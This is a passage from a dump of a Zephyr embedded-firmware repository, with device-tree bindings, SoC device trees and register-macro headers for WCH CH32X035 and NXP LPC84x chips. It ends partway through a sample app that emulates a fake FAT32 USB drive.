include: base.yaml 2 | 3 | bus: lin 4 | 5 | properties: 6 | bitrate: 7 | type: int 8 | required: true 9 | description: Initial bitrate to communicate at 10 | -------------------------------------------------------------------------------- /dts/bindings/lin/virtual,lin-uart.yaml: -------------------------------------------------------------------------------- 1 | description: Virtual LIN UART driver 2 | 3 | compatible: "virtual,lin-uart" 4 | 5 | include: lin-controller.yaml 6 | 7 | properties: 8 | max-wait-percent: 9 | type: int 10 | default: 140 11 | description: Duration as percent of nominal transmission time to allow space between bytes (LIN 2.2A spec is 40% additional) 12 | -------------------------------------------------------------------------------- /dts/bindings/sdhc/nxp,mcux-sdhc.yaml: -------------------------------------------------------------------------------- 1 | description: NXP MCUX SD host controller 2 | 3 | compatible: "nxp,mcux-sdhc" 4 | 5 | include: [sdhc.yaml, pinctrl-device.yaml] 6 | 7 | properties: 8 | reg: 9 | required: true 10 | 11 | interrupts: 12 | required: true 13 | 14 | clocks: 15 | required: true 16 | 17 | pinctrl-0: 18 | required: true 19 | 20 | pinctrl-names: 21 | required: true 22 | -------------------------------------------------------------------------------- /dts/bindings/serial/nxp,lpc84x-uart.yaml: -------------------------------------------------------------------------------- 1 | description: LPC84X UART node 2 | 3 | compatible: "nxp,lpc84x-uart" 4 | 5 | include: uart-controller.yaml 6 | 7 | properties: 8 | reg: 9 | required: true 10 | 11 | clk: 12 | type: array 13 | required: true 14 | 15 | swm: 16 | type: array 17 | required: true 18 | 19 | pinctrl: 20 | type: array 21 | required: true 22 | -------------------------------------------------------------------------------- /dts/bindings/serial/wch,ch32-uart.yaml: -------------------------------------------------------------------------------- 1 | description: CH32 UART node 2 | 3 | compatible: "wch,ch32-uart" 4 | 5 | include: uart-controller.yaml 6 | 7 | properties: 8 | reg: 9 | required: true 10 | 11 | irq: 12 | type: array 13 | required: true 14 | 15 | clk: 16 | type: array 17 | required: true 18 | 19 | pinctrl: 20 | type: array 21 | required: true 22 | 23 | remap: 24 | type: array 25 | default: [0] 26 | -------------------------------------------------------------------------------- /dts/bindings/tcpc/wch,ch32-ucpd.yaml: -------------------------------------------------------------------------------- 1 | description: CH32 USB PD Device Controller 2 | 3 | compatible: "wch,ch32-ucpd" 4 | 5 | include: base.yaml 6 | 7 | properties: 8 | reg: 9 | required: true 10 | 11 | irq: 12 | type: array 13 | required: true 14 | 15 | clk: 16 | type: array 17 | required: true 18 | -------------------------------------------------------------------------------- /dts/bindings/usb/wch,ch32-usbfs.yaml: -------------------------------------------------------------------------------- 1 | description: CH32 USBFS Device Controller 2 | 3 | compatible: "wch,ch32-usbfs" 4 | 5 | include: usb-ep.yaml 6 | 7 | properties: 8 | reg: 9 | required: true 10 | 11 | irq: 12 | type: array 13 | required: true 14 | 15 | clk: 16 | type: array 17 | required: true 18 | -------------------------------------------------------------------------------- /dts/bindings/vendor-prefixes.txt: -------------------------------------------------------------------------------- 1 | wch Nanjing Qinheng Microelectronics Co., Ltd. (WinChipHead) 2 | -------------------------------------------------------------------------------- /dts/riscv/wch/wch_ch32x035.dtsi: -------------------------------------------------------------------------------- 1 | #include 2 | 3 | #include 4 | #include 5 | 6 | / { 7 | cpus { 8 | #address-cells = <1>; 9 | #size-cells = <0>; 10 | 11 | cpu0: cpu@0 { 12 | device_type = "cpu"; 13 | riscv,isa = "rv32imac_zicsr"; 14 | reg = <0>; 15 | }; 16 | }; 17 | 18 | soc { 19 | #address-cells = <1>; 20 | #size-cells = <1>; 21 | 22 | flash0: flash@0 { 23 | compatible = "soc-nv-flash"; 24 | reg = <0x0 DT_SIZE_K(62)>; 25 | }; 26 | 27 | sram0: memory@20000000 { 28 | compatible = "mmio-sram"; 29 | reg = <0x20000000 DT_SIZE_K(20)>; 30 | }; 31 | 32 | // TODO interrupt controller driver for pfic 33 | // TODO timer driver for systick 34 | // TODO clock driver for rcc 35 | // TODO pinctrl driver for gpio and remap 36 | 37 | usart1: serial@40013800 { 38 | compatible = "wch,ch32-uart"; 39 | reg = <0x40013800 0x400>; 40 | clk = ; 41 | irq = <32>; // USART1_IRQn 42 | status = "disabled"; 43 | }; 44 | 45 | usart2: serial@40004400 { 46 | compatible = "wch,ch32-uart"; 47 | reg = <0x40004400 0x400>; 48 | clk = ; 49 | irq = <39>; // USART2_IRQn 50 | status = "disabled"; 51 | }; 52 | 53 | usart3: serial@40004800 { 54 | compatible = "wch,ch32-uart"; 55 | reg = <0x40004800 0x400>; 56 | clk = ; 57 | irq = <42>; // USART3_IRQn 58 | status = "disabled"; 59 | }; 60 | 61 | usart4: serial@40004C00 { 62 | compatible = "wch,ch32-uart"; 63 | reg = <0x40004C00 0x400>; 64 | clk = ; 65 | irq = <43>; // USART4_IRQn 66 | status = "disabled"; 67 | }; 68 | 69 | gpioa: gpio@40010800 { 70 | compatible = "wch,ch32-gpio"; 71 | reg = <0x40010800 0x400>; 72 | clk = ; 73 | gpio-controller; 74 | #gpio-cells = <2>; 75 | status = "disabled"; 76 | }; 77 | 78 | gpiob: gpio@40010C00 { 79 | compatible = "wch,ch32-gpio"; 80 | reg = <0x40010C00 0x400>; 81 | clk = ; 82 | gpio-controller; 83 | #gpio-cells = <2>; 84 | status = "disabled"; 85 | }; 86 | 87 | gpioc: gpio@40011000 { 88 | compatible = "wch,ch32-gpio"; 89 | reg = <0x40011000 0x400>; 90 | clk = ; 91 | gpio-controller; 92 | #gpio-cells = <2>; 93 | status = "disabled"; 94 | }; 95 | 96 | adc1: adc@40012400 { 97 | compatible = "wch,ch32-adc"; 98 | reg = <0x40012400 0x400>; 99 | clk = ; 100 | irq = <22>; // DMA1_Channel1_IRQn 101 | dma = ; 102 | #address-cells = <1>; 103 | #size-cells = <0>; 104 | #io-channel-cells = <1>; 105 | status = "disabled"; 106 | }; 107 | 108 | usbfs: usbd@40023400 { 109 | compatible = "wch,ch32-usbfs"; 110 | reg = <0x40023400 0x400>; 111 | clk = ; 112 | irq = <45>; // USBFS_IRQn 113 | num-bidir-endpoints = <8>; 114 | status = "disabled"; 115 | }; 116 | 117 | usbpd: usbpd@40027000 { 118 | compatible = "wch,ch32-ucpd"; 119 | reg = <0x40027000 0x400>; 120 | clk = ; 121 | irq = <49>; // USBPD_IRQn 122 | status = "disabled"; 123 | }; 124 | }; 125 | }; 126 | -------------------------------------------------------------------------------- /include/zephyrboards/dt-bindings/adc/ch32x035-adc.h: -------------------------------------------------------------------------------- 1 | #ifndef ZEPHYRBOARDS_INCLUDE_DT_BINDINGS_ADC_CH32X035_ADC_H_ 2 | #define ZEPHYRBOARDS_INCLUDE_DT_BINDINGS_ADC_CH32X035_ADC_H_ 3 | 4 | /* 5 | * Since 11 cycles may not be enough for higher impedance sources, driver supports using 6 | * multiple conversions to extend this time. For example, to do 4 conversions w/ an 8 cycle 7 | * sample time each, use ADC_ACQ_TIME_CH32(4, ADC_SAMPLE_TIME_8). 8 | */ 9 | #define ADC_ACQ_TIME_CH32(num_conv, sample_time) ((((num_conv) & 0xFF) << 4) | ((sample_time) & 0x0F)) 10 | #define ADC_ACQ_TIME_NUM_CONV(time) (((time) >> 4) & 0xFF) 11 | #define ADC_ACQ_TIME_SAMPLE_TIME(time) ((time) & 0x0F) 12 | 13 | // derived from and 14 | 15 | #define ADC1_DMA_CHANNEL (0x40020008) // DMA1_Channel1 16 | #define ADC1_DMA_FLAG_TC (0x00000002) // DMA1_IT_TC1 17 | 18 | #define ADC_SAMPLE_TIME_4 (0x00) 19 | #define ADC_SAMPLE_TIME_5 (0x01) 20 | #define ADC_SAMPLE_TIME_6 (0x02) 21 | #define ADC_SAMPLE_TIME_7 (0x03) 22 | #define ADC_SAMPLE_TIME_8 (0x04) 23 | #define ADC_SAMPLE_TIME_9 (0x05) 24 | #define ADC_SAMPLE_TIME_10 (0x06) 25 | #define ADC_SAMPLE_TIME_11 (0x07) 26 | 27 | #define ADC_CLK_DIV4 (0x00000013) 28 | #define ADC_CLK_DIV5 (0x00000014) 29 | #define ADC_CLK_DIV6 (0x00000025) 30 | #define ADC_CLK_DIV7 (0x00000026) 31 | #define ADC_CLK_DIV8 (0x00000037) 32 | #define ADC_CLK_DIV9 (0x00000038) 33 | #define ADC_CLK_DIV10 (0x00000049) 34 | #define ADC_CLK_DIV11 (0x0000004A) 35 | #define ADC_CLK_DIV12 (0x0000005B) 36 | #define ADC_CLK_DIV13 (0x0000005C) 37 | #define ADC_CLK_DIV14 (0x0000006D) 38 | #define ADC_CLK_DIV15 (0x0000006E) 39 | #define ADC_CLK_DIV16 (0x0000007F) 40 | 41 | #endif /* ZEPHYR_INCLUDE_DT_BINDINGS_ADC_CH32X035_ADC_H_ */ 42 | -------------------------------------------------------------------------------- /include/zephyrboards/dt-bindings/clock/ch32x035-clock.h: -------------------------------------------------------------------------------- 1 | #ifndef ZEPHYR_INCLUDE_DT_BINDINGS_CLOCK_CH32X035_CLOCK_H_ 2 | #define ZEPHYR_INCLUDE_DT_BINDINGS_CLOCK_CH32X035_CLOCK_H_ 3 | 4 | // derived from 5 | 6 | #define RCC_Type_AHB (0) 7 | #define RCC_Type_APB2 (1) 8 | #define RCC_Type_APB1 (2) 9 | 10 | #define RCC_AHBPeriph_DMA1 (0x00000001) 11 | #define RCC_AHBPeriph_SRAM (0x00000004) 12 | #define RCC_AHBPeriph_USBFS (0x00001000) 13 | #define RCC_AHBPeriph_IO2W (0x00002000) 14 | #define RCC_AHBPeriph_USBPD (0x00020000) 15 | 16 | #define RCC_APB2Periph_AFIO (0x00000001) 17 | #define RCC_APB2Periph_GPIOA (0x00000004) 18 | #define RCC_APB2Periph_GPIOB (0x00000008) 19 | #define RCC_APB2Periph_GPIOC (0x00000010) 20 | #define RCC_APB2Periph_ADC1 (0x00000200) 21 | #define RCC_APB2Periph_TIM1 (0x00000800) 22 | #define RCC_APB2Periph_SPI1 (0x00001000) 23 | #define RCC_APB2Periph_USART1 (0x00004000) 24 | 25 | #define RCC_APB1Periph_TIM2 (0x00000001) 26 | #define RCC_APB1Periph_TIM3 (0x00000002) 27 | #define RCC_APB1Periph_WWDG (0x00000800) 28 | #define RCC_APB1Periph_USART2 (0x00020000) 29 | #define RCC_APB1Periph_USART3 (0x00040000) 30 | #define RCC_APB1Periph_USART4 (0x00080000) 31 | #define RCC_APB1Periph_I2C1 (0x00200000) 32 | #define RCC_APB1Periph_PWR (0x10000000) 33 | 34 | #endif /* ZEPHYR_INCLUDE_DT_BINDINGS_CLOCK_CH32X035_CLOCK_H_ */ 35 | -------------------------------------------------------------------------------- /include/zephyrboards/dt-bindings/clock/lpc84x-clock.h: -------------------------------------------------------------------------------- 1 | #ifndef ZEPHYR_INCLUDE_DT_BINDINGS_CLOCK_LPC84X_CLOCK_H_ 2 | #define ZEPHYR_INCLUDE_DT_BINDINGS_CLOCK_LPC84X_CLOCK_H_ 3 | 4 | /* derived from */ 5 | 6 | #define CLK_GATE_DEFINE(reg, bit) ((((reg)&0xFFU) << 8U) | ((bit)&0xFFU)) 7 | 8 | #define SYS_AHB_CLK_CTRL0 (0U) 9 | #define SYS_AHB_CLK_CTRL1 (4U) 10 | 11 | // clock_ip_name_t 12 | #define kCLOCK_Rom CLK_GATE_DEFINE(SYS_AHB_CLK_CTRL0, 1U) 13 | #define kCLOCK_Ram0_1 CLK_GATE_DEFINE(SYS_AHB_CLK_CTRL0, 2U) 14 | #define kCLOCK_I2c0 CLK_GATE_DEFINE(SYS_AHB_CLK_CTRL0, 5U) 15 | #define kCLOCK_Gpio0 CLK_GATE_DEFINE(SYS_AHB_CLK_CTRL0, 6U) 16 | #define kCLOCK_Swm CLK_GATE_DEFINE(SYS_AHB_CLK_CTRL0, 7U) 17 | #define kCLOCK_Sct CLK_GATE_DEFINE(SYS_AHB_CLK_CTRL0, 8U) 18 | #define kCLOCK_Wkt CLK_GATE_DEFINE(SYS_AHB_CLK_CTRL0, 9U) 19 | #define kCLOCK_Mrt CLK_GATE_DEFINE(SYS_AHB_CLK_CTRL0, 10U) 20 | #define kCLOCK_Spi0 CLK_GATE_DEFINE(SYS_AHB_CLK_CTRL0, 11U) 21 | #define kCLOCK_Spi1 CLK_GATE_DEFINE(SYS_AHB_CLK_CTRL0, 12U) 22 | #define kCLOCK_Crc CLK_GATE_DEFINE(SYS_AHB_CLK_CTRL0, 13U) 23 | #define kCLOCK_Uart0 CLK_GATE_DEFINE(SYS_AHB_CLK_CTRL0, 14U) 24 | #define kCLOCK_Uart1 CLK_GATE_DEFINE(SYS_AHB_CLK_CTRL0, 15U) 25 | #define kCLOCK_Uart2 CLK_GATE_DEFINE(SYS_AHB_CLK_CTRL0, 16U) 26 | #define kCLOCK_Wwdt CLK_GATE_DEFINE(SYS_AHB_CLK_CTRL0, 17U) 27 | #define kCLOCK_Iocon CLK_GATE_DEFINE(SYS_AHB_CLK_CTRL0, 18U) 28 | #define kCLOCK_Acmp CLK_GATE_DEFINE(SYS_AHB_CLK_CTRL0, 19U) 29 | #define kCLOCK_Gpio1 CLK_GATE_DEFINE(SYS_AHB_CLK_CTRL0, 20U) 30 | #define kCLOCK_I2c1 CLK_GATE_DEFINE(SYS_AHB_CLK_CTRL0, 21U) 31 | #define kCLOCK_I2c2 CLK_GATE_DEFINE(SYS_AHB_CLK_CTRL0, 22U) 32 | #define kCLOCK_I2c3 CLK_GATE_DEFINE(SYS_AHB_CLK_CTRL0, 23U) 33 | #define kCLOCK_Adc CLK_GATE_DEFINE(SYS_AHB_CLK_CTRL0, 24U) 34 | #define kCLOCK_Ctimer0 CLK_GATE_DEFINE(SYS_AHB_CLK_CTRL0, 25U) 35 | #define kCLOCK_Mtb CLK_GATE_DEFINE(SYS_AHB_CLK_CTRL0, 26U) 36 | #define kCLOCK_Dac0 CLK_GATE_DEFINE(SYS_AHB_CLK_CTRL0, 27U) 37 | #define kCLOCK_GpioInt CLK_GATE_DEFINE(SYS_AHB_CLK_CTRL0, 28U) 38 | #define kCLOCK_Dma CLK_GATE_DEFINE(SYS_AHB_CLK_CTRL0, 29U) 39 | #define kCLOCK_Uart3 CLK_GATE_DEFINE(SYS_AHB_CLK_CTRL0, 30U) 40 | #define kCLOCK_Uart4 CLK_GATE_DEFINE(SYS_AHB_CLK_CTRL0, 31U) 41 | #define kCLOCK_Capt CLK_GATE_DEFINE(SYS_AHB_CLK_CTRL1, 0U) 42 | #define kCLOCK_Dac1 CLK_GATE_DEFINE(SYS_AHB_CLK_CTRL1, 1U) 43 | 44 | #endif /* ZEPHYR_INCLUDE_DT_BINDINGS_CLOCK_LPC84X_CLOCK_H_ */ 45 | -------------------------------------------------------------------------------- /include/zephyrboards/dt-bindings/pinctrl/ch32x035-pinctrl.h: -------------------------------------------------------------------------------- 1 | #ifndef ZEPHYRBOARDS_INCLUDE_DT_BINDINGS_PINCTRL_CH32X035_PINCTRL_H_ 2 | #define ZEPHYRBOARDS_INCLUDE_DT_BINDINGS_PINCTRL_CH32X035_PINCTRL_H_ 3 | 4 | // derived from 5 | 6 | #define GPIO_DEFINE(port, pin) ((((port) & 0xFF) << 8) | ((pin) & 0xFF)) 7 | #define GPIO_GET_PORT(x) (((x) >> 8) & 0xFF) 8 | #define GPIO_GET_PIN(x) ((x) & 0xFF) 9 | 10 | #define PA0 GPIO_DEFINE(0, 0) 11 | #define PA1 GPIO_DEFINE(0, 1) 12 | #define PA2 GPIO_DEFINE(0, 2) 13 | #define PA3 GPIO_DEFINE(0, 3) 14 | #define PA4 GPIO_DEFINE(0, 4) 15 | #define PA5 GPIO_DEFINE(0, 5) 16 | #define PA6 GPIO_DEFINE(0, 6) 17 | #define PA7 GPIO_DEFINE(0, 7) 18 | #define PA8 GPIO_DEFINE(0, 8) 19 | #define PA9 GPIO_DEFINE(0, 9) 20 | #define PA10 GPIO_DEFINE(0, 10) 21 | #define PA11 GPIO_DEFINE(0, 11) 22 | #define PA12 GPIO_DEFINE(0, 12) 23 | #define PA13 GPIO_DEFINE(0, 13) 24 | #define PA14 GPIO_DEFINE(0, 14) 25 | #define PA15 GPIO_DEFINE(0, 15) 26 | #define PA16 GPIO_DEFINE(0, 16) 27 | #define PA17 GPIO_DEFINE(0, 17) 28 | #define PA18 GPIO_DEFINE(0, 18) 29 | #define PA19 GPIO_DEFINE(0, 19) 30 | #define PA20 GPIO_DEFINE(0, 20) 31 | #define PA21 GPIO_DEFINE(0, 21) 32 | #define PA22 GPIO_DEFINE(0, 22) 33 | #define PA23 GPIO_DEFINE(0, 23) 34 | #define PB0 GPIO_DEFINE(1, 0) 35 | #define PB1 GPIO_DEFINE(1, 1) 36 | #define PB2 GPIO_DEFINE(1, 2) 37 | #define PB3 GPIO_DEFINE(1, 3) 38 | #define PB4 GPIO_DEFINE(1, 4) 39 | #define PB5 GPIO_DEFINE(1, 5) 40 | #define PB6 GPIO_DEFINE(1, 6) 41 | #define PB7 GPIO_DEFINE(1, 7) 42 | #define PB8 GPIO_DEFINE(1, 8) 43 | #define PB9 GPIO_DEFINE(1, 9) 44 | #define PB10 GPIO_DEFINE(1, 10) 45 | #define PB11 GPIO_DEFINE(1, 11) 46 | #define PB12 GPIO_DEFINE(1, 12) 47 | #define PB13 GPIO_DEFINE(1, 13) 48 | #define PB14 GPIO_DEFINE(1, 14) 49 | #define PB15 GPIO_DEFINE(1, 15) 50 | #define PB16 GPIO_DEFINE(1, 16) 51 | #define PB17 GPIO_DEFINE(1, 17) 52 | #define PB18 GPIO_DEFINE(1, 18) 53 | #define PB19 GPIO_DEFINE(1, 19) 54 | #define PB20 GPIO_DEFINE(1, 20) 55 | #define PB21 GPIO_DEFINE(1, 21) 56 | #define PB22 GPIO_DEFINE(1, 22) 57 | #define PB23 GPIO_DEFINE(1, 23) 58 | #define PC0 GPIO_DEFINE(2, 0) 59 | #define PC1 GPIO_DEFINE(2, 1) 60 | #define PC2 GPIO_DEFINE(2, 2) 61 | #define PC3 GPIO_DEFINE(2, 3) 62 | #define PC4 GPIO_DEFINE(2, 4) 63 | #define PC5 GPIO_DEFINE(2, 5) 64 | #define PC6 GPIO_DEFINE(2, 6) 65 | #define PC7 GPIO_DEFINE(2, 7) 66 | #define PC8 GPIO_DEFINE(2, 8) 67 | #define PC9 GPIO_DEFINE(2, 9) 68 | #define PC10 GPIO_DEFINE(2, 10) 69 | #define PC11 GPIO_DEFINE(2, 11) 70 | #define PC12 GPIO_DEFINE(2, 12) 71 | #define PC13 GPIO_DEFINE(2, 13) 72 | #define PC14 GPIO_DEFINE(2, 14) 73 | #define PC15 GPIO_DEFINE(2, 15) 74 | #define PC16 GPIO_DEFINE(2, 16) 75 | #define PC17 GPIO_DEFINE(2, 17) 76 | #define PC18 GPIO_DEFINE(2, 18) 77 | #define PC19 GPIO_DEFINE(2, 19) 78 | #define PC20 GPIO_DEFINE(2, 20) 79 | #define PC21 GPIO_DEFINE(2, 21) 80 | #define PC22 GPIO_DEFINE(2, 22) 81 | #define PC23 GPIO_DEFINE(2, 23) 82 | 83 | #define GPIO_PartialRemap1_SPI1 (0x00100001) 84 | #define GPIO_PartialRemap2_SPI1 (0x00100002) 85 | #define GPIO_FullRemap_SPI1 (0x00100003) 86 | #define GPIO_PartialRemap1_I2C1 (0x08000004) 87 | #define GPIO_PartialRemap2_I2C1 (0x08000008) 88 | #define GPIO_PartialRemap3_I2C1 (0x0800000C) 89 | #define GPIO_PartialRemap4_I2C1 (0x08000010) 90 | #define GPIO_FullRemap_I2C1 (0x08000014) 91 | #define GPIO_PartialRemap1_USART1 (0x00150020) 92 | #define GPIO_PartialRemap2_USART1 (0x00150040) 93 | #define GPIO_FullRemap_USART1 (0x00150060) 94 | #define GPIO_PartialRemap1_USART2 (0x08000080) 95 | #define GPIO_PartialRemap2_USART2 (0x08000100) 96 | #define GPIO_PartialRemap3_USART2 (0x08000180) 97 | #define GPIO_FullRemap_USART2 (0x08000200) 98 | #define GPIO_PartialRemap1_USART3 (0x00100400) 99 | #define GPIO_PartialRemap2_USART3 (0x00100800) 100 | #define GPIO_FullRemap_USART3 (0x00100C00) 101 | #define GPIO_PartialRemap1_USART4 (0x08001000) 102 | #define GPIO_PartialRemap2_USART4 (0x08002000) 103 | #define GPIO_PartialRemap3_USART4 (0x08003000) 104 | #define GPIO_PartialRemap4_USART4 (0x08004000) 105 | #define GPIO_FullRemap_USART4 (0x08007000) 106 | #define GPIO_PartialRemap1_TIM1 (0x08400001) 107 | #define GPIO_PartialRemap2_TIM1 (0x08400002) 108 | #define GPIO_PartialRemap3_TIM1 (0x08400003) 109 | #define GPIO_FullRemap_TIM1 (0x08400004) 110 | #define GPIO_PartialRemap1_TIM2 (0x08200004) 111 | #define GPIO_PartialRemap2_TIM2 (0x08200008) 112 | #define GPIO_PartialRemap3_TIM2 (0x0820000C) 113 | #define GPIO_PartialRemap4_TIM2 (0x08200010) 114 | #define GPIO_PartialRemap5_TIM2 (0x08200014) 115 | #define GPIO_FullRemap_TIM2 (0x08200018) 116 | #define GPIO_PartialRemap1_TIM3 (0x00300020) 117 | #define GPIO_PartialRemap2_TIM3 (0x00300040) 118 | #define GPIO_FullRemap_TIM3 (0x00300060) 119 | #define GPIO_Remap_PIOC (0x00200080) 120 | #define GPIO_Remap_SWJ_Disable (0x08300400) 121 | 122 | #endif /* ZEPHYR_INCLUDE_DT_BINDINGS_PINCTRL_CH32X035_PINCTRL_H_ */ 123 | -------------------------------------------------------------------------------- /samples/CMakeLists.txt: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/dragonlock2/zephyrboards/be3065fc11d7f6ec995bc65da85ef6d709ea1b21/samples/CMakeLists.txt -------------------------------------------------------------------------------- /samples/Kconfig: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/dragonlock2/zephyrboards/be3065fc11d7f6ec995bc65da85ef6d709ea1b21/samples/Kconfig -------------------------------------------------------------------------------- /samples/apps/README.md: -------------------------------------------------------------------------------- 1 | # apps 2 | 3 | Store apps meant for multiple boards here. 4 | -------------------------------------------------------------------------------- /samples/apps/fakeusbdrive/CMakeLists.txt: -------------------------------------------------------------------------------- 1 | cmake_minimum_required(VERSION 3.20.0) 2 | 3 | set(BOARD leveler) 4 | 5 | list(APPEND ZEPHYR_EXTRA_MODULES ${CMAKE_CURRENT_SOURCE_DIR}/fakedisk) 6 | 7 | find_package(Zephyr REQUIRED HINTS $ENV{ZEPHYR_BASE}) 8 | project(fakeusbdrive) 9 | 10 | target_sources(app PRIVATE src/main.c) 11 | -------------------------------------------------------------------------------- /samples/apps/fakeusbdrive/fakedisk/CMakeLists.txt: -------------------------------------------------------------------------------- 1 | if(CONFIG_DISK_DRIVERS) 2 | 3 | zephyr_library() 4 | 5 | zephyr_library_sources_ifdef(CONFIG_DISK_DRIVER_FAKE fakedisk.c) 6 | 7 | endif() 8 | -------------------------------------------------------------------------------- /samples/apps/fakeusbdrive/fakedisk/Kconfig: -------------------------------------------------------------------------------- 1 | config DISK_DRIVER_FAKE 2 | bool "Enable fake disk driver" 3 | 4 | if DISK_DRIVER_FAKE 5 | 6 | config DISK_FAKE_VOLUME_NAME 7 | string "Fake disk mount point or drive name (FATFS needs existing ones)" 8 | default "FAKE" 9 | 10 | config DISK_FAKE_SECTOR_COUNT 11 | int "Fake disk number of sectors" 12 | default 4294967295 13 | 14 | module = FAKEDISK 15 | module-str = fakedisk 16 | source "subsys/logging/Kconfig.template.log_config" 17 | 18 | endif # DISK_DRIVER_FAKE 19 | -------------------------------------------------------------------------------- /samples/apps/fakeusbdrive/fakedisk/fakedisk.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | 6 | #include "fakedisk.h" 7 | 8 | // inspired by drivers/disk/ramdisk.c 9 | 10 | LOG_MODULE_REGISTER(fakedisk, CONFIG_LOG_DEFAULT_LEVEL); 11 | 12 | static int disk_fake_access_init(struct disk_info *disk) { 13 | return 0; 14 | } 15 | 16 | static int disk_fake_access_status(struct disk_info *disk) { 17 | return DISK_STATUS_OK; 18 | } 19 | 20 | static int disk_fake_access_read(struct disk_info *disk, uint8_t *buff, 21 | uint32_t sector, uint32_t count) { 22 | if (count != 1) { 23 | return -EIO; 24 | } 25 | 26 | if (sector == 0) { 27 | memcpy(buff, &MBR, SECTOR_SIZE); 28 | } else if (sector == 1) { 29 | memcpy(buff, &FAT32_BOOT, SECTOR_SIZE); 30 | } else if (sector == 2) { 31 | memcpy(buff, &FAT32_FSINFO, SECTOR_SIZE); 32 | } else if (sector == 33 || sector == 33 + SECTORS_PER_FAT) { 33 | memcpy(buff, &FAT32_ROOT_TABLE, SECTOR_SIZE); 34 | } else if (sector < 33 + 2 * SECTORS_PER_FAT) { 35 | memcpy(buff, &FAT32_TABLE, SECTOR_SIZE); 36 | } else if (sector >= (33 + 2 * SECTORS_PER_FAT)) { 37 | memcpy(buff, &FAT32_ROOTDIR, SECTOR_SIZE); 38 | } else { 39 | printk("no! %d %d\r\n", sector, count); 40 | memset(buff, 0, SECTOR_SIZE); 41 | } 42 | 43 | return 0; 44 | } 45 | 46 | static int disk_fake_access_write(struct disk_info *disk, const uint8_t *buff, 47 | uint32_t sector, uint32_t count) { 48 | return 0; 49 | } 50 | 51 | static int disk_fake_access_ioctl(struct disk_info *disk, uint8_t cmd, 52 | void *buff) { 53 | switch (cmd) { 54 | case DISK_IOCTL_CTRL_SYNC: 55 | break; 56 | case DISK_IOCTL_GET_SECTOR_COUNT: 57 | *(uint32_t *)buff = SECTOR_COUNT; 58 | break; 59 | case DISK_IOCTL_GET_SECTOR_SIZE: 60 | *(uint32_t *)buff = SECTOR_SIZE; 61 | break; 62 | case DISK_IOCTL_GET_ERASE_BLOCK_SZ: 63 | *(uint32_t *)buff = 1U; 64 | break; 65 | default: 66 | return -EINVAL; 67 | } 68 | 69 | return 0; 70 | } 71 | 72 | static const struct disk_operations fake_disk_ops = { 73 | .init = disk_fake_access_init, 74 | .status = disk_fake_access_status, 75 | .read = disk_fake_access_read, 76 | .write = disk_fake_access_write, 77 | .ioctl = disk_fake_access_ioctl, 78 | }; 79 | 80 | static struct disk_info fake_disk = { 81 | .name = CONFIG_DISK_FAKE_VOLUME_NAME, 82 | .ops = &fake_disk_ops, 83 | }; 84 | 85 | static int disk_fake_init(void) { 86 | return disk_access_register(&fake_disk); 87 | } 88 | 89 | SYS_INIT(disk_fake_init, APPLICATION, CONFIG_KERNEL_INIT_PRIORITY_DEFAULT); 90 | -------------------------------------------------------------------------------- /samples/apps/fakeusbdrive/fakedisk/fakedisk.h: -------------------------------------------------------------------------------- 1 | #ifndef FAKEDISK_H 2 | #define FAKEDISK_H 3 | 4 | #include 5 | 6 | #define SECTOR_COUNT CONFIG_DISK_FAKE_SECTOR_COUNT 7 | #define SECTORS_PER_FAT (SECTOR_COUNT / 64 / 128) 8 | 9 | #define SECTOR_SIZE 512 10 | 11 | // MBR 12 | 13 | typedef struct { 14 | uint8_t status; 15 | uint8_t chs_first[3]; 16 | uint8_t partition_type; 17 | uint8_t chs_last[3]; 18 | uint32_t lba_first; 19 | uint32_t num_sectors; 20 | } __attribute__((__packed__)) partition_entry_t; 21 | 22 | typedef struct { 23 | uint8_t rsvd1[446]; 24 | partition_entry_t partitions[4]; 25 | uint16_t boot_sig; 26 | } __attribute__((__packed__)) mbr_t; 27 | 28 | static const mbr_t MBR = { 29 | .partitions = { 30 | { 31 | .status = 0, 32 | .chs_first = {0xfe, 0xff, 0xff}, 33 | .partition_type = 0x0b, 34 | .chs_last = {0xfe, 0xff, 0xff}, 35 | .lba_first = 1, 36 | .num_sectors = SECTOR_COUNT-1 37 | } 38 | }, 39 | .boot_sig = 0xaa55, 40 | }; 41 | 42 | // FAT32 boot sector 43 | 44 | typedef struct { 45 | uint8_t jump_instr[3]; 46 | uint8_t oem_name[8]; 47 | uint16_t bytes_per_sector; 48 | uint8_t sectors_per_cluster; 49 | uint16_t num_rsvd_sectors; 50 | uint8_t num_fat_copies; 51 | uint16_t num_root_dir_ent; 52 | uint16_t num_sectors; 53 | uint8_t media_descriptor; 54 | uint16_t sectors_per_fat; 55 | uint16_t sectors_per_track; 56 | uint16_t num_heads; 57 | uint32_t num_hidden_sectors; 58 | uint32_t num_sectors_fat32; 59 | uint32_t sectors_per_fat32; 60 | uint16_t mirror_flags; 61 | uint16_t version; 62 | uint32_t root_dir_first_cluster; 63 | uint16_t fsinfo_sector_num; 64 | uint16_t backup_boot_sector; 65 | uint8_t rsvd1[12]; 66 | uint8_t physical_drive_num; 67 | uint8_t rsvd2; 68 | uint8_t ext_sig; 69 | uint32_t volume_id; 70 | uint8_t volume_label[11]; 71 | uint8_t fs_type[8]; 72 | uint8_t rsvd3[420]; 73 | uint16_t boot_sig; 74 | } __attribute__((__packed__)) fat32_boot_t; 75 | 76 | static const fat32_boot_t FAT32_BOOT = { 77 | .jump_instr = {0xeb, 0x58, 0x90}, 78 | .oem_name = {'B', 'S', 'D', ' ', ' ', '4', '.', '4'}, 79 | .bytes_per_sector = SECTOR_SIZE, 80 | .sectors_per_cluster = 64, 81 | .num_rsvd_sectors = 32, 82 | .num_fat_copies = 2, 83 | .num_root_dir_ent = 0, 84 | .num_sectors = 0, 85 | .media_descriptor = 0xf8, 86 | .sectors_per_fat = 0, 87 | .sectors_per_track = 32, 88 | .num_heads = 255, 89 | .num_hidden_sectors = 1, 90 | .num_sectors_fat32 = SECTOR_COUNT-1, 91 | .sectors_per_fat32 = SECTORS_PER_FAT, 92 | .mirror_flags = 0, 93 | .version = 0, 94 | .root_dir_first_cluster = 2, 95 | .fsinfo_sector_num = 1, 96 | .backup_boot_sector = 0, 97 | .physical_drive_num = 0x80, 98 | .ext_sig = 0x29, 99 | .volume_id = 0x69696969, 100 | .volume_label = {'U', 'N', 'T', 'I', 'T', 'L', 'E', 'D', ' ', ' ', ' '}, 101 | .fs_type = {'F', 'A', 'T', '3', '2', ' ', ' 